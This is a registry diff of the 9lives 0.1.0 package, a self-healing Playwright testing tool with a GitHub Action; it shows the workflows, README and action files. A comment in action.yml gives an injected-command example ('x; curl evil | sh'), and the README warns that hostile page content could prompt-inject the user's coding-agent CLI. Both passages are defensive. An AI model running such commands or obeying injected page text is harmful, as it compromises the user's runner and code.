9lives 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (32) hide show
  1. 9lives-0.1.0/.github/ISSUE_TEMPLATE/bug_report.md +18 -0
  2. 9lives-0.1.0/.github/ISSUE_TEMPLATE/feature_request.md +11 -0
  3. 9lives-0.1.0/.github/workflows/ci.yml +51 -0
  4. 9lives-0.1.0/.github/workflows/release.yml +42 -0
  5. 9lives-0.1.0/.gitignore +19 -0
  6. 9lives-0.1.0/CONTRIBUTING.md +32 -0
  7. 9lives-0.1.0/LICENSE +21 -0
  8. 9lives-0.1.0/PKG-INFO +99 -0
  9. 9lives-0.1.0/README.md +74 -0
  10. 9lives-0.1.0/action/README.md +43 -0
  11. 9lives-0.1.0/action/action.yml +133 -0
  12. 9lives-0.1.0/docs/VERIFICATION_TRANSCRIPTS.md +171 -0
  13. 9lives-0.1.0/install/9l.run.sh +36 -0
  14. 9lives-0.1.0/pyproject.toml +42 -0
  15. 9lives-0.1.0/src/ninelives/__init__.py +3 -0
  16. 9lives-0.1.0/src/ninelives/cli.py +294 -0
  17. 9lives-0.1.0/src/ninelives/healing/__init__.py +9 -0
  18. 9lives-0.1.0/src/ninelives/healing/parse.py +97 -0
  19. 9lives-0.1.0/src/ninelives/healing/patch.py +29 -0
  20. 9lives-0.1.0/src/ninelives/healing/strategy.py +258 -0
  21. 9lives-0.1.0/src/ninelives/healing/tier1.py +194 -0
  22. 9lives-0.1.0/src/ninelives/healing/tier2.py +122 -0
  23. 9lives-0.1.0/src/ninelives/llm/__init__.py +1 -0
  24. 9lives-0.1.0/src/ninelives/llm/agent_cli.py +96 -0
  25. 9lives-0.1.0/src/ninelives/llm/client.py +136 -0
  26. 9lives-0.1.0/src/ninelives/report/__init__.py +1 -0
  27. 9lives-0.1.0/src/ninelives/report/github.py +113 -0
  28. 9lives-0.1.0/src/ninelives/runner/__init__.py +1 -0
  29. 9lives-0.1.0/src/ninelives/runner/artifacts.py +91 -0
  30. 9lives-0.1.0/src/ninelives/runner/execute.py +174 -0
  31. 9lives-0.1.0/src/ninelives/runner/project.py +75 -0
  32. 9lives-0.1.0/tests/test_healing.py +340 -0
@@ -0,0 +1,18 @@
1
+ ---
2
+ name: Bug report
3
+ about: Something broke — we triage same-day
4
+ labels: bug
5
+ ---
6
+
7
+ **What happened**
8
+
9
+ **What you expected**
10
+
11
+ **Repro** (the failing spec + the page it runs against, if shareable)
12
+
13
+ ```bash
14
+ 9l --version
15
+ 9l doctor
16
+ ```
17
+
18
+ **Output of the failing `9l` command** (run with `-v` for debug logs)
@@ -0,0 +1,11 @@
1
+ ---
2
+ name: Feature request
3
+ about: Most of our best features came from the community
4
+ labels: enhancement
5
+ ---
6
+
7
+ **The problem you're hitting**
8
+
9
+ **What you'd like 9lives to do**
10
+
11
+ **Would you be up for building it with us?** (we label starter-friendly work `good-first-issue`)
@@ -0,0 +1,51 @@
1
+ # CI for the standalone Quality-Max/9lives repo.
2
+ name: ci
3
+
4
+ on:
5
+ push:
6
+ branches: [main]
7
+ pull_request:
8
+
9
+ jobs:
10
+ test:
11
+ runs-on: ubuntu-latest
12
+ strategy:
13
+ matrix:
14
+ python-version: ["3.10", "3.11", "3.12"]
15
+ steps:
16
+ - uses: actions/checkout@v4
17
+ - uses: astral-sh/setup-uv@v5
18
+ with:
19
+ python-version: ${{ matrix.python-version }}
20
+ - run: uv run --with pytest --no-project python -m pytest tests/ -q
21
+ - run: uv run --with ruff --no-project ruff check src/ tests/
22
+ - run: uv run --with ruff --no-project ruff format --check src/ tests/
23
+
24
+ smoke:
25
+ runs-on: ubuntu-latest
26
+ steps:
27
+ - uses: actions/checkout@v4
28
+ - uses: astral-sh/setup-uv@v5
29
+ - name: Install and run doctor
30
+ run: |
31
+ uv tool install .
32
+ 9l --version
33
+ 9l doctor || true # no LLM key in CI — doctor still must not crash
34
+ - name: Tier 1 offline heal e2e
35
+ run: |
36
+ mkdir -p /tmp/e2e && cd /tmp/e2e
37
+ cat > page.html <<'EOF'
38
+ <!doctype html><html><body>
39
+ <button id="b" onclick="this.textContent='Welcome!'">Sign in</button>
40
+ </body></html>
41
+ EOF
42
+ cat > login.spec.js <<EOF
43
+ const { test, expect } = require('@playwright/test');
44
+ test('sign in', async ({ page }) => {
45
+ await page.goto('file:///tmp/e2e/page.html');
46
+ await page.locator("text='Sign In'").click();
47
+ await expect(page.locator('#b')).toHaveText('Welcome!');
48
+ });
49
+ EOF
50
+ 9l heal --yes login.spec.js
51
+ grep -q "text='Sign in'" login.spec.js
@@ -0,0 +1,42 @@
1
+ # Release for the standalone Quality-Max/9lives repo.
2
+ # Requires PyPI Trusted Publishing configured for the 9lives project
3
+ # (PyPI → project → Publishing → add GitHub publisher: Quality-Max/9lives,
4
+ # workflow release.yml, environment pypi). No token secrets needed.
5
+ name: release
6
+
7
+ on:
8
+ push:
9
+ tags: ["v*"]
10
+
11
+ jobs:
12
+ pypi:
13
+ if: github.ref_name != 'v1'
14
+ runs-on: ubuntu-latest
15
+ environment: pypi
16
+ permissions:
17
+ id-token: write # PyPI trusted publishing
18
+ contents: write # GitHub release
19
+ steps:
20
+ - uses: actions/checkout@v4
21
+ - uses: astral-sh/setup-uv@v5
22
+ - run: uv build
23
+ - uses: pypa/gh-action-pypi-publish@release/v1
24
+ - name: GitHub release
25
+ env:
26
+ GH_TOKEN: ${{ github.token }}
27
+ run: gh release create "$GITHUB_REF_NAME" dist/* --generate-notes
28
+
29
+ action-major-tag:
30
+ # Keep `uses: quality-max/9lives/action@v1` pointing at the newest v1.x.y
31
+ runs-on: ubuntu-latest
32
+ needs: pypi
33
+ if: startsWith(github.ref_name, 'v1.')
34
+ permissions:
35
+ contents: write
36
+ steps:
37
+ - uses: actions/checkout@v4
38
+ - run: |
39
+ git config user.name "9lives"
40
+ git config user.email "9lives-bot@users.noreply.github.com"
41
+ git tag -f v1
42
+ git push -f origin v1
@@ -0,0 +1,19 @@
1
+ __pycache__/
2
+ *.py[cod]
3
+ *.egg-info/
4
+ dist/
5
+ build/
6
+ .venv/
7
+ .pytest_cache/
8
+ .ruff_cache/
9
+
10
+ # 9lives run artifacts
11
+ .9lives/
12
+ .9lives-report.md
13
+ *.healed
14
+
15
+ # Playwright
16
+ node_modules/
17
+ test-results/
18
+ playwright-report/
19
+ results.json
@@ -0,0 +1,32 @@
1
+ # Contributing to 9lives 🐾
2
+
3
+ Every issue gets triaged, every PR gets a review — usually same-day. Contributing should feel effortless; if it doesn't, that's a bug in our process, file it.
4
+
5
+ ## Dev setup
6
+
7
+ ```bash
8
+ git clone https://github.com/Quality-Max/9lives && cd 9lives
9
+ uv sync --extra all # or: pip install -e '.[all]'
10
+ uv run pytest # unit tests — pure, no network, fast
11
+ uv run ruff check src tests && uv run ruff format --check src tests
12
+ ```
13
+
14
+ Node ≥ 18 is needed only for running actual Playwright specs (`9l run` / `9l heal`), not for the unit tests.
15
+
16
+ ## What we merge fast
17
+
18
+ - New Tier 1 healing strategies (offline selector recovery) with tests
19
+ - New agent CLI adapters in `src/ninelives/llm/agent_cli.py` — one dict entry + a test
20
+ - Failure-classification patterns for error messages we misread (attach the real Playwright output)
21
+ - Docs, examples, install-path fixes for platforms we haven't met
22
+
23
+ ## Ground rules
24
+
25
+ - **Tier 1 stays offline.** No network calls in `healing/tier1.py` or `healing/strategy.py`, ever.
26
+ - **No telemetry, no accounts, no phone-home.** PRs adding any will be closed with love.
27
+ - **Diff-first.** Anything that modifies a user's file must show a diff and respect `--yes`.
28
+ - Tests for behavior changes; `ruff check` + `ruff format` clean.
29
+
30
+ ## Releasing (maintainers)
31
+
32
+ Tag `vX.Y.Z` → CI publishes to PyPI and cuts a GitHub release. Keep the `v1` major tag on the latest compatible commit for `uses: quality-max/9lives/action@v1`.
9lives-0.1.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 QualityMax
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
9lives-0.1.0/PKG-INFO ADDED
@@ -0,0 +1,99 @@
1
+ Metadata-Version: 2.4
2
+ Name: 9lives
3
+ Version: 0.1.0
4
+ Summary: Self-healing QA for the coding-agent era. Your tests have nine lives.
5
+ Project-URL: Homepage, https://9lives.run
6
+ Project-URL: Repository, https://github.com/Quality-Max/9lives
7
+ Author: QualityMax
8
+ License: MIT
9
+ License-File: LICENSE
10
+ Keywords: agents,ai,playwright,qa,self-healing,testing
11
+ Classifier: Development Status :: 3 - Alpha
12
+ Classifier: Intended Audience :: Developers
13
+ Classifier: License :: OSI Approved :: MIT License
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Topic :: Software Development :: Testing
16
+ Requires-Python: >=3.10
17
+ Provides-Extra: all
18
+ Requires-Dist: anthropic>=0.40; extra == 'all'
19
+ Requires-Dist: openai>=1.50; extra == 'all'
20
+ Provides-Extra: anthropic
21
+ Requires-Dist: anthropic>=0.40; extra == 'anthropic'
22
+ Provides-Extra: openai
23
+ Requires-Dist: openai>=1.50; extra == 'openai'
24
+ Description-Content-Type: text/markdown
25
+
26
+ # 🐾 9lives
27
+
28
+ **Your tests have nine lives.** Self-healing QA for the coding-agent era, by [QualityMax](https://qualitymax.io).
29
+
30
+ Your coding agent shipped a change and your Playwright test went red? Don't rewrite it — resurrect it:
31
+
32
+ ```bash
33
+ 9l heal login.spec.ts
34
+ ```
35
+
36
+ `9l` runs the test, classifies the failure, and heals it in tiers:
37
+
38
+ 1. **Tier 1 — offline, free, instant.** Selector drifted? 9lives finds the element again from the failure-time page snapshot (text, testid, id, class, aria-label) and rewrites the locator. No LLM, no network, no account.
39
+ 2. **Tier 2 — the subscription you already pay for.** Structural change? 9lives shells out to your installed coding-agent CLI — **Claude Code (`claude -p`), Codex (`codex exec`), or OpenCode (`opencode run`)** — so your existing subscription does the thinking. No API key to mint, nothing to configure: if the CLI is logged in, healing works. (Prefer raw API? `ANTHROPIC_API_KEY` / `OPENAI_API_KEY` work too.)
40
+ 3. **Always a diff, never a surprise.** Healed code is shown as a unified diff and applied only when you approve (or `--yes` in CI).
41
+
42
+ ## Install
43
+
44
+ ```bash
45
+ curl -sL 9l.run | sh # coming soon
46
+ pip install 9lives # or: uv tool install 9lives
47
+ ```
48
+
49
+ Requires Node.js ≥ 18 (Playwright itself runs on Node). Check your setup with `9l doctor`.
50
+
51
+ ## Commands
52
+
53
+ ```bash
54
+ 9l run <spec> # run a spec locally; screenshots/videos/traces in .9lives/
55
+ 9l heal <spec> # run → heal → re-run → diff → apply on confirm
56
+ 9l heal <spec> --yes # CI mode: apply automatically, exit code tells the story
57
+ 9l doctor # environment check
58
+ ```
59
+
60
+ Works inside an existing Playwright project (uses your `package.json`) or on a bare `.spec.ts` file (scaffolds an ephemeral project automatically). All commands accept multiple specs/globs.
61
+
62
+ ## In CI: the GitHub Action
63
+
64
+ ```yaml
65
+ - uses: quality-max/9lives/action@v1
66
+ with:
67
+ specs: "tests/**/*.spec.ts"
68
+ anthropic-api-key: ${{ secrets.ANTHROPIC_API_KEY }}
69
+ commit-healed: "true"
70
+ ```
71
+
72
+ Runs on **your** runner, heals with **your** key, posts a 🐾 report comment on the PR, and can commit healed specs straight back to the branch. See [`action/`](action/README.md).
73
+
74
+ ## BYO everything
75
+
76
+ - **Your subscription:** an installed `claude` / `codex` / `opencode` CLI is auto-detected and used for Tier 2, so the subscription you already use for coding can heal tests too.
77
+ - **Or your key:** `ANTHROPIC_API_KEY` / `OPENAI_API_KEY`. Force a choice with `NINELIVES_PROVIDER` (`claude-code`, `codex`, `opencode`, `anthropic`, `openai`) and `NINELIVES_MODEL`.
78
+ - **Your runner:** everything executes on your machine or your CI. Nothing leaves it, nothing phones home.
79
+ - **No account.** Ever, for anything in this tool.
80
+
81
+ ## Security & trust boundary
82
+
83
+ Tier 1 healing is fully offline and never sends anything anywhere.
84
+
85
+ Tier 2 builds its prompt from the failing test plus the **page snapshot captured at failure**. If you heal tests against a site you don't control, that page content becomes model input. In *subscription mode* it is handed to your local coding-agent CLI (`claude` / `codex` / `opencode`), which can run tools — so a hostile page could attempt prompt injection against your agent. 9lives runs the CLI in an empty scratch directory to limit blast radius, but if you heal against untrusted targets, force plain API mode (no agent tools) with:
86
+
87
+ ```
88
+ NINELIVES_PROVIDER=anthropic # or openai
89
+ ```
90
+
91
+ ## Roadmap
92
+
93
+ - `9l check` — map your git diff to affected user flows, run/generate targeted tests: *"did my agent break anything?"*
94
+ - `9lives-action` — GitHub Action that posts the QA report on PRs, healed commits included
95
+ - `9l gen <url>` — crawl a live app and generate a starter test suite
96
+
97
+ ## Status
98
+
99
+ **v0.1 prototype** — built by [QualityMax](https://qualitymax.io) for local, BYO self-healing Playwright workflows. MIT licensed.
9lives-0.1.0/README.md ADDED
@@ -0,0 +1,74 @@
1
+ # 🐾 9lives
2
+
3
+ **Your tests have nine lives.** Self-healing QA for the coding-agent era, by [QualityMax](https://qualitymax.io).
4
+
5
+ Your coding agent shipped a change and your Playwright test went red? Don't rewrite it — resurrect it:
6
+
7
+ ```bash
8
+ 9l heal login.spec.ts
9
+ ```
10
+
11
+ `9l` runs the test, classifies the failure, and heals it in tiers:
12
+
13
+ 1. **Tier 1 — offline, free, instant.** Selector drifted? 9lives finds the element again from the failure-time page snapshot (text, testid, id, class, aria-label) and rewrites the locator. No LLM, no network, no account.
14
+ 2. **Tier 2 — the subscription you already pay for.** Structural change? 9lives shells out to your installed coding-agent CLI — **Claude Code (`claude -p`), Codex (`codex exec`), or OpenCode (`opencode run`)** — so your existing subscription does the thinking. No API key to mint, nothing to configure: if the CLI is logged in, healing works. (Prefer raw API? `ANTHROPIC_API_KEY` / `OPENAI_API_KEY` work too.)
15
+ 3. **Always a diff, never a surprise.** Healed code is shown as a unified diff and applied only when you approve (or `--yes` in CI).
16
+
17
+ ## Install
18
+
19
+ ```bash
20
+ curl -sL 9l.run | sh # coming soon
21
+ pip install 9lives # or: uv tool install 9lives
22
+ ```
23
+
24
+ Requires Node.js ≥ 18 (Playwright itself runs on Node). Check your setup with `9l doctor`.
25
+
26
+ ## Commands
27
+
28
+ ```bash
29
+ 9l run <spec> # run a spec locally; screenshots/videos/traces in .9lives/
30
+ 9l heal <spec> # run → heal → re-run → diff → apply on confirm
31
+ 9l heal <spec> --yes # CI mode: apply automatically, exit code tells the story
32
+ 9l doctor # environment check
33
+ ```
34
+
35
+ Works inside an existing Playwright project (uses your `package.json`) or on a bare `.spec.ts` file (scaffolds an ephemeral project automatically). All commands accept multiple specs/globs.
36
+
37
+ ## In CI: the GitHub Action
38
+
39
+ ```yaml
40
+ - uses: quality-max/9lives/action@v1
41
+ with:
42
+ specs: "tests/**/*.spec.ts"
43
+ anthropic-api-key: ${{ secrets.ANTHROPIC_API_KEY }}
44
+ commit-healed: "true"
45
+ ```
46
+
47
+ Runs on **your** runner, heals with **your** key, posts a 🐾 report comment on the PR, and can commit healed specs straight back to the branch. See [`action/`](action/README.md).
48
+
49
+ ## BYO everything
50
+
51
+ - **Your subscription:** an installed `claude` / `codex` / `opencode` CLI is auto-detected and used for Tier 2, so the subscription you already use for coding can heal tests too.
52
+ - **Or your key:** `ANTHROPIC_API_KEY` / `OPENAI_API_KEY`. Force a choice with `NINELIVES_PROVIDER` (`claude-code`, `codex`, `opencode`, `anthropic`, `openai`) and `NINELIVES_MODEL`.
53
+ - **Your runner:** everything executes on your machine or your CI. Nothing leaves it, nothing phones home.
54
+ - **No account.** Ever, for anything in this tool.
55
+
56
+ ## Security & trust boundary
57
+
58
+ Tier 1 healing is fully offline and never sends anything anywhere.
59
+
60
+ Tier 2 builds its prompt from the failing test plus the **page snapshot captured at failure**. If you heal tests against a site you don't control, that page content becomes model input. In *subscription mode* it is handed to your local coding-agent CLI (`claude` / `codex` / `opencode`), which can run tools — so a hostile page could attempt prompt injection against your agent. 9lives runs the CLI in an empty scratch directory to limit blast radius, but if you heal against untrusted targets, force plain API mode (no agent tools) with:
61
+
62
+ ```
63
+ NINELIVES_PROVIDER=anthropic # or openai
64
+ ```
65
+
66
+ ## Roadmap
67
+
68
+ - `9l check` — map your git diff to affected user flows, run/generate targeted tests: *"did my agent break anything?"*
69
+ - `9lives-action` — GitHub Action that posts the QA report on PRs, healed commits included
70
+ - `9l gen <url>` — crawl a live app and generate a starter test suite
71
+
72
+ ## Status
73
+
74
+ **v0.1 prototype** — built by [QualityMax](https://qualitymax.io) for local, BYO self-healing Playwright workflows. MIT licensed.
@@ -0,0 +1,43 @@
1
+ # 🐾 9lives GitHub Action
2
+
3
+ Self-healing QA on **your** runner, with **your** key — no account, no cloud tether, nothing leaves your CI. The report lands on the PR; healed tests can be committed straight back to the branch.
4
+
5
+ ```yaml
6
+ name: 9lives
7
+ on: pull_request
8
+
9
+ permissions:
10
+ contents: write # only if commit-healed: true
11
+ pull-requests: write # for the PR comment
12
+
13
+ jobs:
14
+ qa:
15
+ runs-on: ubuntu-latest
16
+ steps:
17
+ - uses: actions/checkout@v4
18
+ with:
19
+ ref: ${{ github.head_ref }} # needed for commit-healed
20
+ - uses: quality-max/9lives/action@v1
21
+ with:
22
+ specs: "tests/**/*.spec.ts"
23
+ anthropic-api-key: ${{ secrets.ANTHROPIC_API_KEY }}
24
+ commit-healed: "true"
25
+ ```
26
+
27
+ ## Inputs
28
+
29
+ | input | default | what it does |
30
+ |---|---|---|
31
+ | `specs` | *(required)* | Space-separated spec paths or globs |
32
+ | `mode` | `heal` | `heal` fixes failing specs; `run` only reports |
33
+ | `anthropic-api-key` / `openai-api-key` | — | Your key for Tier 2 healing. Tier 1 (selector drift) heals with no key at all |
34
+ | `comment` | `true` | Post/update the 🐾 report comment on the PR |
35
+ | `commit-healed` | `false` | Commit healed specs back to the PR branch |
36
+
37
+ ## Outputs
38
+
39
+ `status` (`passed` / `healed` / `failed`), `healed`, `failed` — use them to gate later steps.
40
+
41
+ ## How this differs from the cloud-tethered alternatives
42
+
43
+ Execution happens on the runner you already pay GitHub for, healing happens with the key (or agent subscription) you already have, and the tool never sees your code — because there is no "us" to send it to. Compare: KaneAI/TestMu and BrowserStack route your tests through their metered cloud behind an account wall.
@@ -0,0 +1,133 @@
1
+ name: "9lives"
2
+ description: >-
3
+ Self-healing QA for the coding-agent era. Runs Playwright specs on YOUR
4
+ runner with YOUR key (or agent subscription) — no account, nothing leaves
5
+ your CI. Posts a 🐾 report on the PR; optionally commits healed tests.
6
+ author: QualityMax
7
+ branding:
8
+ icon: heart
9
+ color: purple
10
+
11
+ inputs:
12
+ specs:
13
+ description: "Space-separated spec paths or globs (e.g. 'tests/**/*.spec.ts')"
14
+ required: true
15
+ mode:
16
+ description: "heal (fix failing specs) or run (report only)"
17
+ required: false
18
+ default: heal
19
+ anthropic-api-key:
20
+ description: "Anthropic API key for Tier 2 healing (or use openai-api-key)"
21
+ required: false
22
+ default: ""
23
+ openai-api-key:
24
+ description: "OpenAI API key for Tier 2 healing"
25
+ required: false
26
+ default: ""
27
+ comment:
28
+ description: "Post the report as a PR comment (pull_request events only)"
29
+ required: false
30
+ default: "true"
31
+ commit-healed:
32
+ description: "Commit and push healed specs back to the PR branch"
33
+ required: false
34
+ default: "false"
35
+
36
+ outputs:
37
+ status:
38
+ description: "passed | healed | failed"
39
+ value: ${{ steps.nine.outputs.status }}
40
+ healed:
41
+ description: "Number of specs healed"
42
+ value: ${{ steps.nine.outputs.healed }}
43
+ failed:
44
+ description: "Number of specs still failing"
45
+ value: ${{ steps.nine.outputs.failed }}
46
+
47
+ runs:
48
+ using: composite
49
+ steps:
50
+ - name: Install 9lives
51
+ shell: bash
52
+ env:
53
+ # Route github.action_path through env rather than splicing ${{ }} into
54
+ # the script body (SAST: no github-context interpolation inside run:).
55
+ ACTION_PATH: ${{ github.action_path }}
56
+ run: |
57
+ python3 -m pip install --quiet "$ACTION_PATH/..[all]"
58
+
59
+ - name: Run 9lives
60
+ id: nine
61
+ shell: bash
62
+ env:
63
+ ANTHROPIC_API_KEY: ${{ inputs.anthropic-api-key }}
64
+ OPENAI_API_KEY: ${{ inputs.openai-api-key }}
65
+ # Pass inputs as env vars, never interpolate ${{ }} into the script body:
66
+ # a value like `x; curl evil | sh` would otherwise run on the runner.
67
+ NINELIVES_SPECS: ${{ inputs.specs }}
68
+ NINELIVES_MODE: ${{ inputs.mode }}
69
+ run: |
70
+ shopt -s globstar nullglob
71
+ # Intentional unquoted expansion: word-split + glob the spec patterns.
72
+ specs=( $NINELIVES_SPECS )
73
+ if [ "${#specs[@]}" -eq 0 ]; then
74
+ echo "no specs matched '$NINELIVES_SPECS'" >&2
75
+ exit 1
76
+ fi
77
+ if [ "$NINELIVES_MODE" = "heal" ]; then
78
+ 9l heal --yes "${specs[@]}"
79
+ else
80
+ 9l run "${specs[@]}"
81
+ fi
82
+
83
+ - name: Post PR comment
84
+ if: ${{ always() && inputs.comment == 'true' && github.event_name == 'pull_request' }}
85
+ uses: actions/github-script@v7
86
+ with:
87
+ script: |
88
+ const fs = require('fs');
89
+ const path = '.9lives-report.md';
90
+ if (!fs.existsSync(path)) return;
91
+ const body = fs.readFileSync(path, 'utf8');
92
+ const marker = '🐾 checked by [9lives]';
93
+ const { data: comments } = await github.rest.issues.listComments({
94
+ ...context.repo, issue_number: context.issue.number, per_page: 100,
95
+ });
96
+ const previous = comments.find(c => c.body && c.body.includes(marker) && c.user.type === 'Bot');
97
+ if (previous) {
98
+ await github.rest.issues.updateComment({ ...context.repo, comment_id: previous.id, body });
99
+ } else {
100
+ await github.rest.issues.createComment({ ...context.repo, issue_number: context.issue.number, body });
101
+ }
102
+
103
+ - name: Commit healed specs
104
+ # Never push to a fork (its token is read-only and the target isn't ours);
105
+ # only same-repo PRs and direct pushes commit healed specs back.
106
+ if: ${{ always() && inputs.mode == 'heal' && inputs.commit-healed == 'true' && (github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository) }}
107
+ shell: bash
108
+ # Route ref names through env (never splice ${{ }} into the shell script text).
109
+ env:
110
+ EVENT_NAME: ${{ github.event_name }}
111
+ HEAD_REF: ${{ github.head_ref }}
112
+ REF_NAME: ${{ github.ref_name }}
113
+ run: |
114
+ if git diff --quiet; then
115
+ echo "nothing healed, nothing to commit"
116
+ exit 0
117
+ fi
118
+ # On pull_request the checkout is a detached merge ref, so a bare
119
+ # `git push` fails — push explicitly to the source branch instead.
120
+ if [ "$EVENT_NAME" = "pull_request" ]; then
121
+ target="$HEAD_REF"
122
+ else
123
+ target="$REF_NAME"
124
+ fi
125
+ if [ -z "$target" ]; then
126
+ echo "9lives: could not determine a target branch; refusing to push" >&2
127
+ exit 1
128
+ fi
129
+ git config user.name "9lives"
130
+ git config user.email "9lives-bot@users.noreply.github.com"
131
+ git add -u
132
+ git commit -m "test: 🐾 heal specs (9lives)"
133
+ git push origin "HEAD:$target"